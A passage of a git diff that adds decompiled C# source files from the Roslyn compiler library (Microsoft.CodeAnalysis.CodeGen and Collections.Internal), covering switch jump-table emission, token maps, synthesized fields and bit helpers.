variableSlotAllocator, ImmutableArray stateInfos) + { + StateMachineState? firstUnusedIncreasingStateMachineState = null; + StateMachineState? firstUnusedDecreasingStateMachineState = null; + if (variableSlotAllocator != null) + { + firstUnusedIncreasingStateMachineState = variableSlotAllocator.GetFirstUnusedStateMachineState(increasing: true); + firstUnusedDecreasingStateMachineState = variableSlotAllocator.GetFirstUnusedStateMachineState(increasing: false); + if (!stateInfos.IsDefaultOrEmpty) + { + StateMachineState stateMachineState = stateInfos.Max((StateMachineStateDebugInfo info) => info.StateNumber) + 1; + StateMachineState stateMachineState2 = stateInfos.Min((StateMachineStateDebugInfo info) => info.StateNumber) - 1; + firstUnusedIncreasingStateMachineState = (firstUnusedIncreasingStateMachineState.HasValue ? ((StateMachineState)Math.Max((int)firstUnusedIncreasingStateMachineState.Value, (int)stateMachineState)) : stateMachineState); + if (stateMachineState2 < StateMachineState.FirstUnusedState) + { + firstUnusedDecreasingStateMachineState = (firstUnusedDecreasingStateMachineState.HasValue ? ((StateMachineState)Math.Min((int)firstUnusedDecreasingStateMachineState.Value, (int)stateMachineState2)) : stateMachineState2); + } + } + } + return new StateMachineStatesDebugInfo(stateInfos, firstUnusedIncreasingStateMachineState, firstUnusedDecreasingStateMachineState); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchIntegralJumpTableEmitter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchIntegralJumpTableEmitter.cs new file mode 100644 index 0000000..5178fbe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchIntegralJumpTableEmitter.cs @@ -0,0 +1,443 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal struct SwitchIntegralJumpTableEmitter +{ + private struct SwitchBucket + { + private readonly ImmutableArray> _allLabels; + + private readonly int _startLabelIndex; + + private readonly int _endLabelIndex; + + private readonly bool _isKnownDegenerate; + + internal bool IsDegenerate => _isKnownDegenerate; + + internal uint LabelsCount => (uint)(_endLabelIndex - _startLabelIndex + 1); + + internal KeyValuePair this[int i] => _allLabels[i + _startLabelIndex]; + + internal ulong BucketSize => GetBucketSize(StartConstant, EndConstant); + + internal int DegenerateBucketSplit + { + get + { + if (IsDegenerate) + { + return 0; + } + ImmutableArray> allLabels = _allLabels; + int num = 0; + ConstantValue lastConst = StartConstant; + object value = allLabels[_startLabelIndex].Value; + for (int i = _startLabelIndex + 1; i <= _endLabelIndex; i++) + { + KeyValuePair keyValuePair = allLabels[i]; + if (value != keyValuePair.Value || !IsContiguous(lastConst, keyValuePair.Key)) + { + if (num != 0) + { + return -1; + } + num = i; + value = keyValuePair.Value; + } + lastConst = keyValuePair.Key; + } + return num; + } + } + + internal int StartLabelIndex => _startLabelIndex; + + internal int EndLabelIndex => _endLabelIndex; + + internal ConstantValue StartConstant => _allLabels[_startLabelIndex].Key; + + internal ConstantValue EndConstant => _allLabels[_endLabelIndex].Key; + + internal SwitchBucket(ImmutableArray> allLabels, int index) + { + _startLabelIndex = index; + _endLabelIndex = index; + _allLabels = allLabels; + _isKnownDegenerate = true; + } + + private SwitchBucket(ImmutableArray> allLabels, int startIndex, int endIndex) + { + _startLabelIndex = startIndex; + _endLabelIndex = endIndex; + _allLabels = allLabels; + _isKnownDegenerate = false; + } + + internal SwitchBucket(ImmutableArray> allLabels, int startIndex, int endIndex, bool isDegenerate) + { + _startLabelIndex = startIndex; + _endLabelIndex = endIndex; + _allLabels = allLabels; + _isKnownDegenerate = isDegenerate; + } + + private bool IsContiguous(ConstantValue lastConst, ConstantValue nextConst) + { + if (!lastConst.IsNumeric || !nextConst.IsNumeric) + { + return false; + } + return GetBucketSize(lastConst, nextConst) == 2; + } + + private static ulong GetBucketSize(ConstantValue startConstant, ConstantValue endConstant) + { + if (startConstant.IsNegativeNumeric || endConstant.IsNegativeNumeric) + { + return (ulong)(endConstant.Int64Value - startConstant.Int64Value + 1); + } + return endConstant.UInt64Value - startConstant.UInt64Value + 1; + } + + private static bool BucketOverflowUInt64Limit(ConstantValue startConstant, ConstantValue endConstant) + { + if (startConstant.Discriminator == ConstantValueTypeDiscriminator.Int64) + { + if (startConstant.Int64Value == long.MinValue) + { + return endConstant.Int64Value == long.MaxValue; + } + return false; + } + if (startConstant.Discriminator == ConstantValueTypeDiscriminator.UInt64) + { + if (startConstant.UInt64Value == 0L) + { + return endConstant.UInt64Value == ulong.MaxValue; + } + return false; + } + return false; + } + + private static bool BucketOverflow(ConstantValue startConstant, ConstantValue endConstant) + { + if (!BucketOverflowUInt64Limit(startConstant, endConstant)) + { + return GetBucketSize(startConstant, endConstant) > int.MaxValue; + } + return true; + } + + private static bool IsValidSwitchBucketConstant(ConstantValue constant) + { + if (constant != null && SwitchConstantValueHelper.IsValidSwitchCaseLabelConstant(constant) && !constant.IsNull) + { + return !constant.IsString; + } + return false; + } + + private static bool IsValidSwitchBucketConstantPair(ConstantValue startConstant, ConstantValue endConstant) + { + if (IsValidSwitchBucketConstant(startConstant) && IsValidSwitchBucketConstant(endConstant)) + { + return startConstant.IsUnsigned == endConstant.IsUnsigned; + } + return false; + } + + private static bool IsSparse(uint labelsCount, ulong bucketSize) + { + return bucketSize >= labelsCount * 2; + } + + internal static bool MergeIsAdvantageous(SwitchBucket bucket1, SwitchBucket bucket2) + { + ConstantValue startConstant = bucket1.StartConstant; + ConstantValue endConstant = bucket2.EndConstant; + if (BucketOverflow(startConstant, endConstant)) + { + return false; + } + uint labelsCount = bucket1.LabelsCount + bucket2.LabelsCount; + ulong bucketSize = GetBucketSize(startConstant, endConstant); + return !IsSparse(labelsCount, bucketSize); + } + + internal bool TryMergeWith(SwitchBucket prevBucket) + { + if (MergeIsAdvantageous(prevBucket, this)) + { + this = new SwitchBucket(_allLabels, prevBucket._startLabelIndex, _endLabelIndex); + return true; + } + return false; + } + } + + private readonly ILBuilder _builder; + + private readonly LocalOrParameter _key; + + private readonly Microsoft.Cci.PrimitiveTypeCode _keyTypeCode; + + private readonly object _fallThroughLabel; + + private readonly ImmutableArray> _sortedCaseLabels; + + private const int LinearSearchThreshold = 3; + + internal SwitchIntegralJumpTableEmitter(ILBuilder builder, KeyValuePair[] caseLabels, object fallThroughLabel, Microsoft.Cci.PrimitiveTypeCode keyTypeCode, LocalOrParameter key) + { + _builder = builder; + _key = key; + _keyTypeCode = keyTypeCode; + _fallThroughLabel = fallThroughLabel; + Array.Sort(caseLabels, CompareIntegralSwitchLabels); + _sortedCaseLabels = ImmutableArray.Create(caseLabels); + } + + internal void EmitJumpTable() + { + ImmutableArray> sortedCaseLabels = _sortedCaseLabels; + int num = sortedCaseLabels.Length - 1; + int num2 = ((!(sortedCaseLabels[0].Key != ConstantValue.Null)) ? 1 : 0); + if (num2 <= num) + { + ImmutableArray switchBuckets = GenerateSwitchBuckets(num2, num); + EmitSwitchBuckets(switchBuckets, 0, switchBuckets.Length - 1); + } + else + { + _builder.EmitBranch(ILOpCode.Br, _fallThroughLabel); + } + } + + private static int CompareIntegralSwitchLabels(KeyValuePair first, KeyValuePair second) + { + ConstantValue key = first.Key; + ConstantValue key2 = second.Key; + return SwitchConstantValueHelper.CompareSwitchCaseLabelConstants(key, key2); + } + + private ImmutableArray GenerateSwitchBuckets(int startLabelIndex, int endLabelIndex) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = startLabelIndex; i <= endLabelIndex; i++) + { + SwitchBucket e = CreateNextBucket(i, endLabelIndex); + while (!instance.IsEmpty()) + { + SwitchBucket prevBucket = instance.Peek(); + if (!e.TryMergeWith(prevBucket)) + { + break; + } + instance.Pop(); + } + instance.Push(e); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder.Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchBucket current = enumerator.Current; + int degenerateBucketSplit = current.DegenerateBucketSplit; + switch (degenerateBucketSplit) + { + case -1: + instance2.Add(current); + break; + case 0: + instance2.Add(new SwitchBucket(_sortedCaseLabels, current.StartLabelIndex, current.EndLabelIndex, isDegenerate: true)); + break; + default: + instance2.Add(new SwitchBucket(_sortedCaseLabels, current.StartLabelIndex, degenerateBucketSplit - 1, isDegenerate: true)); + instance2.Add(new SwitchBucket(_sortedCaseLabels, degenerateBucketSplit, current.EndLabelIndex, isDegenerate: true)); + break; + } + } + instance.Free(); + return instance2.ToImmutableAndFree(); + } + + private SwitchBucket CreateNextBucket(int startLabelIndex, int endLabelIndex) + { + return new SwitchBucket(_sortedCaseLabels, startLabelIndex); + } + + private void EmitSwitchBucketsLinearLeaf(ImmutableArray switchBuckets, int low, int high) + { + for (int i = low; i < high; i++) + { + object obj = new object(); + EmitSwitchBucket(switchBuckets[i], obj); + _builder.MarkLabel(obj); + } + EmitSwitchBucket(switchBuckets[high], _fallThroughLabel); + } + + private void EmitSwitchBuckets(ImmutableArray switchBuckets, int low, int high) + { + if (high - low < 3) + { + EmitSwitchBucketsLinearLeaf(switchBuckets, low, high); + return; + } + int num = (low + high + 1) / 2; + object obj = new object(); + ConstantValue endConstant = switchBuckets[num - 1].EndConstant; + EmitCondBranchForSwitch(_keyTypeCode.IsUnsigned() ? ILOpCode.Bgt_un : ILOpCode.Bgt, endConstant, obj); + EmitSwitchBuckets(switchBuckets, low, num - 1); + _builder.MarkLabel(obj); + EmitSwitchBuckets(switchBuckets, num, high); + } + + private void EmitSwitchBucket(SwitchBucket switchBucket, object bucketFallThroughLabel) + { + if (switchBucket.LabelsCount == 1) + { + KeyValuePair keyValuePair = switchBucket[0]; + ConstantValue key = keyValuePair.Key; + object value = keyValuePair.Value; + EmitEqBranchForSwitch(key, value); + } + else if (switchBucket.IsDegenerate) + { + EmitRangeCheckedBranch(switchBucket.StartConstant, switchBucket.EndConstant, switchBucket[0].Value); + } + else + { + EmitNormalizedSwitchKey(switchBucket.StartConstant, switchBucket.EndConstant, bucketFallThroughLabel); + object[] labels = CreateBucketLabels(switchBucket); + _builder.EmitSwitch(labels); + } + _builder.EmitBranch(ILOpCode.Br, bucketFallThroughLabel); + } + + private object[] CreateBucketLabels(SwitchBucket switchBucket) + { + ConstantValue startConstant = switchBucket.StartConstant; + bool isNegativeNumeric = startConstant.IsNegativeNumeric; + int num = 0; + ulong num2 = 0uL; + ulong bucketSize = switchBucket.BucketSize; + object[] array = new object[bucketSize]; + for (ulong num3 = 0uL; num3 < bucketSize; num3++) + { + if (num3 == num2) + { + array[num3] = switchBucket[num].Value; + num++; + if (num >= switchBucket.LabelsCount) + { + break; + } + ConstantValue key = switchBucket[num].Key; + num2 = ((!isNegativeNumeric) ? (key.UInt64Value - startConstant.UInt64Value) : ((ulong)(key.Int64Value - startConstant.Int64Value))); + } + else + { + array[num3] = _fallThroughLabel; + } + } + return array; + } + + private void EmitCondBranchForSwitch(ILOpCode branchCode, ConstantValue constant, object targetLabel) + { + _builder.EmitLoad(_key); + _builder.EmitConstantValue(constant); + _builder.EmitBranch(branchCode, targetLabel, GetReverseBranchCode(branchCode)); + } + + private void EmitEqBranchForSwitch(ConstantValue constant, object targetLabel) + { + _builder.EmitLoad(_key); + if (constant.IsDefaultValue) + { + _builder.EmitBranch(ILOpCode.Brfalse, targetLabel); + return; + } + _builder.EmitConstantValue(constant); + _builder.EmitBranch(ILOpCode.Beq, targetLabel); + } + + private void EmitRangeCheckedBranch(ConstantValue startConstant, ConstantValue endConstant, object targetLabel) + { + _builder.EmitLoad(_key); + if (!startConstant.IsDefaultValue) + { + _builder.EmitConstantValue(startConstant); + _builder.EmitOpCode(ILOpCode.Sub); + } + if (_keyTypeCode.Is64BitIntegral()) + { + _builder.EmitLongConstant(endConstant.Int64Value - startConstant.Int64Value); + } + else + { + _builder.EmitIntConstant(Int32Value(endConstant) - Int32Value(startConstant)); + } + _builder.EmitBranch(ILOpCode.Ble_un, targetLabel, ILOpCode.Bgt_un); + static int Int32Value(ConstantValue value) + { + return value.Discriminator switch + { + ConstantValueTypeDiscriminator.Byte => value.ByteValue, + ConstantValueTypeDiscriminator.UInt16 => value.UInt16Value, + _ => value.Int32Value, + }; + } + } + + private static ILOpCode GetReverseBranchCode(ILOpCode branchCode) + { + return branchCode switch + { + ILOpCode.Beq => ILOpCode.Bne_un, + ILOpCode.Blt => ILOpCode.Bge, + ILOpCode.Blt_un => ILOpCode.Bge_un, + ILOpCode.Bgt => ILOpCode.Ble, + ILOpCode.Bgt_un => ILOpCode.Ble_un, + _ => throw ExceptionUtilities.UnexpectedValue(branchCode), + }; + } + + private void EmitNormalizedSwitchKey(ConstantValue startConstant, ConstantValue endConstant, object bucketFallThroughLabel) + { + _builder.EmitLoad(_key); + if (!startConstant.IsDefaultValue) + { + _builder.EmitConstantValue(startConstant); + _builder.EmitOpCode(ILOpCode.Sub); + } + EmitRangeCheckIfNeeded(startConstant, endConstant, bucketFallThroughLabel); + _builder.EmitNumericConversion(_keyTypeCode, Microsoft.Cci.PrimitiveTypeCode.UInt32, @checked: false); + } + + private void EmitRangeCheckIfNeeded(ConstantValue startConstant, ConstantValue endConstant, object bucketFallThroughLabel) + { + if (_keyTypeCode.Is64BitIntegral()) + { + object label = new object(); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitLongConstant(endConstant.Int64Value - startConstant.Int64Value); + _builder.EmitBranch(ILOpCode.Ble_un, label, ILOpCode.Bgt_un); + _builder.EmitOpCode(ILOpCode.Pop); + _builder.EmitBranch(ILOpCode.Br, bucketFallThroughLabel); + _builder.AdjustStack(1); + _builder.MarkLabel(label); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchStringJumpTableEmitter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchStringJumpTableEmitter.cs new file mode 100644 index 0000000..d11ad13 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SwitchStringJumpTableEmitter.cs @@ -0,0 +1,117 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly struct SwitchStringJumpTableEmitter +{ + public delegate void EmitStringCompareAndBranch(LocalOrParameter key, ConstantValue stringConstant, object targetLabel); + + public delegate uint GetStringHashCode(string? key); + + private readonly ILBuilder _builder; + + private readonly LocalOrParameter _key; + + private readonly KeyValuePair[] _caseLabels; + + private readonly object _fallThroughLabel; + + private readonly EmitStringCompareAndBranch _emitStringCondBranchDelegate; + + private readonly GetStringHashCode _computeStringHashcodeDelegate; + + private readonly LocalDefinition? _keyHash; + + internal SwitchStringJumpTableEmitter(ILBuilder builder, LocalOrParameter key, KeyValuePair[] caseLabels, object fallThroughLabel, LocalDefinition? keyHash, EmitStringCompareAndBranch emitStringCondBranchDelegate, GetStringHashCode computeStringHashcodeDelegate) + { + _builder = builder; + _key = key; + _caseLabels = caseLabels; + _fallThroughLabel = fallThroughLabel; + _keyHash = keyHash; + _emitStringCondBranchDelegate = emitStringCondBranchDelegate; + _computeStringHashcodeDelegate = computeStringHashcodeDelegate; + } + + internal void EmitJumpTable() + { + if (_keyHash != null) + { + EmitHashTableSwitch(); + } + else + { + EmitNonHashTableSwitch(_caseLabels); + } + } + + private void EmitHashTableSwitch() + { + Dictionary>> dictionary = ComputeStringHashMap(_caseLabels, _computeStringHashcodeDelegate); + Dictionary dictionary2 = EmitHashBucketJumpTable(dictionary); + foreach (KeyValuePair>> item in dictionary) + { + _builder.MarkLabel(dictionary2[item.Key]); + List> value = item.Value; + EmitNonHashTableSwitch(value.ToArray()); + } + } + + private Dictionary EmitHashBucketJumpTable(Dictionary>> stringHashMap) + { + int count = stringHashMap.Count; + Dictionary dictionary = new Dictionary(count); + KeyValuePair[] array = new KeyValuePair[count]; + int num = 0; + foreach (uint key2 in stringHashMap.Keys) + { + ConstantValue key = ConstantValue.Create(key2); + object value = new object(); + array[num] = new KeyValuePair(key, value); + dictionary[key2] = value; + num++; + } + new SwitchIntegralJumpTableEmitter(_builder, array, _fallThroughLabel, Microsoft.Cci.PrimitiveTypeCode.UInt32, _keyHash).EmitJumpTable(); + return dictionary; + } + + private void EmitNonHashTableSwitch(KeyValuePair[] labels) + { + for (int i = 0; i < labels.Length; i++) + { + KeyValuePair keyValuePair = labels[i]; + EmitCondBranchForStringSwitch(keyValuePair.Key, keyValuePair.Value); + } + _builder.EmitBranch(ILOpCode.Br, _fallThroughLabel); + } + + private void EmitCondBranchForStringSwitch(ConstantValue stringConstant, object targetLabel) + { + _emitStringCondBranchDelegate(_key, stringConstant, targetLabel); + } + + private static Dictionary>> ComputeStringHashMap(KeyValuePair[] caseLabels, GetStringHashCode computeStringHashcodeDelegate) + { + Dictionary>> dictionary = new Dictionary>>(caseLabels.Length); + for (int i = 0; i < caseLabels.Length; i++) + { + KeyValuePair item = caseLabels[i]; + ConstantValue key = item.Key; + uint key2 = computeStringHashcodeDelegate((string)key.Value); + if (!dictionary.TryGetValue(key2, out var value)) + { + value = new List>(); + dictionary.Add(key2, value); + } + value.Add(item); + } + return dictionary; + } + + internal static bool ShouldGenerateHashTableSwitch(int labelsCount) + { + return labelsCount >= 7; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedLocalOrdinalsDispenser.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedLocalOrdinalsDispenser.cs new file mode 100644 index 0000000..0dd0f67 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedLocalOrdinalsDispenser.cs @@ -0,0 +1,43 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class SynthesizedLocalOrdinalsDispenser +{ + private PooledDictionary? _lazyMap; + + private static long MakeKey(SynthesizedLocalKind localKind, int syntaxOffset) + { + return ((long)syntaxOffset << 8) | (long)localKind; + } + + public void Free() + { + if (_lazyMap != null) + { + _lazyMap.Free(); + _lazyMap = null; + } + } + + public int AssignLocalOrdinal(SynthesizedLocalKind localKind, int syntaxOffset) + { + if (localKind == SynthesizedLocalKind.UserDefined) + { + return 0; + } + long key = MakeKey(localKind, syntaxOffset); + int value; + if (_lazyMap == null) + { + _lazyMap = PooledDictionary.GetInstance(); + value = 0; + } + else if (!_lazyMap.TryGetValue(key, out value)) + { + value = 0; + } + _lazyMap[key] = value + 1; + return value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedStaticField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedStaticField.cs new file mode 100644 index 0000000..922e0c7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SynthesizedStaticField.cs @@ -0,0 +1,131 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal abstract class SynthesizedStaticField : IFieldDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IFieldReference +{ + private readonly INamedTypeDefinition _containingType; + + private readonly ITypeReference _type; + + private readonly string _name; + + public abstract ImmutableArray MappedData { get; } + + public bool IsCompileTimeConstant => false; + + public bool IsNotSerialized => false; + + public bool IsReadOnly => true; + + public bool IsRuntimeSpecial => false; + + public bool IsSpecialName => false; + + public bool IsStatic => true; + + public bool IsMarshalledExplicitly => false; + + public IMarshallingInformation? MarshallingInformation => null; + + public ImmutableArray MarshallingDescriptor => default(ImmutableArray); + + public int Offset + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 557); + } + } + + public ITypeDefinition ContainingTypeDefinition => _containingType; + + public TypeMemberVisibility Visibility => TypeMemberVisibility.Assembly; + + public string Name => _name; + + public bool IsContextualNamedEntity => false; + + public ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public bool IsByReference => false; + + internal ITypeReference Type => _type; + + public ISpecializedFieldReference? AsSpecializedFieldReference => null; + + public MetadataConstant Constant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 599); + } + } + + internal SynthesizedStaticField(string name, INamedTypeDefinition containingType, ITypeReference type) + { + _containingType = containingType; + _type = type; + _name = name; + } + + public override string ToString() + { + return $"{((object)_type.GetInternalSymbol()) ?? ((object)_type)} {((object)_containingType.GetInternalSymbol()) ?? ((object)_containingType)}.{Name}"; + } + + public MetadataConstant? GetCompileTimeValue(EmitContext context) + { + return null; + } + + public ITypeReference GetContainingType(EmitContext context) + { + return _containingType; + } + + public IEnumerable GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + public IDefinition AsDefinition(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 576); + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public ITypeReference GetType(EmitContext context) + { + return _type; + } + + public IFieldDefinition GetResolvedField(EmitContext context) + { + return this; + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 605); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 611); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/TokenMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/TokenMap.cs new file mode 100644 index 0000000..2dabe2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/TokenMap.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Concurrent; +using System.Threading; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class TokenMap +{ + private readonly ConcurrentDictionary _itemIdentityToToken = new ConcurrentDictionary(); + + private object[] _items = Array.Empty(); + + private int _count; + + internal TokenMap() + { + } + + public uint GetOrAddTokenFor(IReference item, out bool referenceAdded) + { + if (_itemIdentityToToken.TryGetValue(new IReferenceOrISignature(item), out var value)) + { + referenceAdded = false; + return value; + } + return AddItem(new IReferenceOrISignature(item), out referenceAdded); + } + + public uint GetOrAddTokenFor(ISignature item, out bool referenceAdded) + { + if (_itemIdentityToToken.TryGetValue(new IReferenceOrISignature(item), out var value)) + { + referenceAdded = false; + return value; + } + return AddItem(new IReferenceOrISignature(item), out referenceAdded); + } + + private uint AddItem(IReferenceOrISignature item, out bool referenceAdded) + { + uint value; + lock (_itemIdentityToToken) + { + if (!_itemIdentityToToken.TryGetValue(item, out value)) + { + value = (uint)_count; + referenceAdded = _itemIdentityToToken.TryAdd(item, value); + int num = (int)(value + 1); + object[] array = _items; + if (array.Length > num) + { + array[value] = item.AsObject(); + } + else + { + Array.Resize(ref array, Math.Max(8, num * 2)); + array[value] = item.AsObject(); + Volatile.Write(ref _items, array); + } + Volatile.Write(ref _count, num); + } + else + { + referenceAdded = false; + } + } + return value; + } + + public object GetItem(uint token) + { + return _items[token]; + } + + public ReadOnlySpan GetAllItems() + { + int length = Volatile.Read(in _count); + return new ReadOnlySpan(Volatile.Read(in _items), 0, length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/VariableSlotAllocator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/VariableSlotAllocator.cs new file mode 100644 index 0000000..fcb2868 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/VariableSlotAllocator.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal abstract class VariableSlotAllocator +{ + public abstract string? PreviousStateMachineTypeName { get; } + + public abstract int PreviousHoistedLocalSlotCount { get; } + + public abstract int PreviousAwaiterSlotCount { get; } + + public abstract DebugId? MethodId { get; } + + public abstract void AddPreviousLocals(ArrayBuilder builder); + + public abstract LocalDefinition? GetPreviousLocal(ITypeReference type, ILocalSymbolInternal symbol, string? name, SynthesizedLocalKind kind, LocalDebugId id, LocalVariableAttributes pdbAttributes, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames); + + public abstract bool TryGetPreviousHoistedLocalSlotIndex(SyntaxNode currentDeclarator, ITypeReference currentType, SynthesizedLocalKind synthesizedKind, LocalDebugId currentId, DiagnosticBag diagnostics, out int slotIndex); + + public abstract bool TryGetPreviousAwaiterSlotIndex(ITypeReference currentType, DiagnosticBag diagnostics, out int slotIndex); + + public abstract bool TryGetPreviousClosure(SyntaxNode closureSyntax, out DebugId closureId); + + public abstract bool TryGetPreviousLambda(SyntaxNode lambdaOrLambdaBodySyntax, bool isLambdaBody, out DebugId lambdaId); + + public abstract StateMachineState? GetFirstUnusedStateMachineState(bool increasing); + + public abstract bool TryGetPreviousStateMachineState(SyntaxNode syntax, AwaitDebugId awaitId, out StateMachineState state); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/Win32Resource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/Win32Resource.cs new file mode 100644 index 0000000..e9b59e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/Win32Resource.cs @@ -0,0 +1,46 @@ +using System.Collections.Generic; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class Win32Resource : IWin32Resource +{ + private readonly byte[] _data; + + private readonly uint _codePage; + + private readonly uint _languageId; + + private readonly int _id; + + private readonly string _name; + + private readonly int _typeId; + + private readonly string _typeName; + + public string TypeName => _typeName; + + public int TypeId => _typeId; + + public string Name => _name; + + public int Id => _id; + + public uint LanguageId => _languageId; + + public uint CodePage => _codePage; + + public IEnumerable Data => _data; + + internal Win32Resource(byte[] data, uint codePage, uint languageId, int id, string name, int typeId, string typeName) + { + _data = data; + _codePage = codePage; + _languageId = languageId; + _id = id; + _name = name; + _typeId = typeId; + _typeName = typeName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/BitHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/BitHelper.cs new file mode 100644 index 0000000..1a28bb0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/BitHelper.cs @@ -0,0 +1,47 @@ +using System; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal ref struct BitHelper +{ + private const int IntSize = 32; + + private readonly Span _span; + + internal BitHelper(Span span, bool clear) + { + if (clear) + { + span.Clear(); + } + _span = span; + } + + internal readonly void MarkBit(int bitPosition) + { + int num = bitPosition / 32; + if ((uint)num < (uint)_span.Length) + { + _span[num] |= 1 << bitPosition % 32; + } + } + + internal readonly bool IsMarked(int bitPosition) + { + int num = bitPosition / 32; + if ((uint)num < (uint)_span.Length) + { + return (_span[num] & (1 << bitPosition % 32)) != 0; + } + return false; + } + + internal static int ToIntArrayLength(int n) + { + if (n <= 0) + { + return 0; + } + return (n - 1) / 32 + 1; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryKeyCollectionDebugView.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryKeyCollectionDebugView.cs new file mode 100644 index 0000000..c7b2b77 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryKeyCollectionDebugView.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal sealed class DictionaryKeyCollectionDebugView +{ + private readonly ICollection _collection; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public TKey[] Items + { + get + { + TKey[] array = new TKey[_collection.Count]; + _collection.CopyTo(array, 0); + return array; + } + } + + public DictionaryKeyCollectionDebugView(ICollection collection) + { + _collection = collection ?? throw new ArgumentNullException("collection"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryValueCollectionDebugView.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryValueCollectionDebugView.cs new file mode 100644 index 0000000..39e3bd7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/DictionaryValueCollectionDebugView.cs @@ -0,0 +1,26 @@ +using 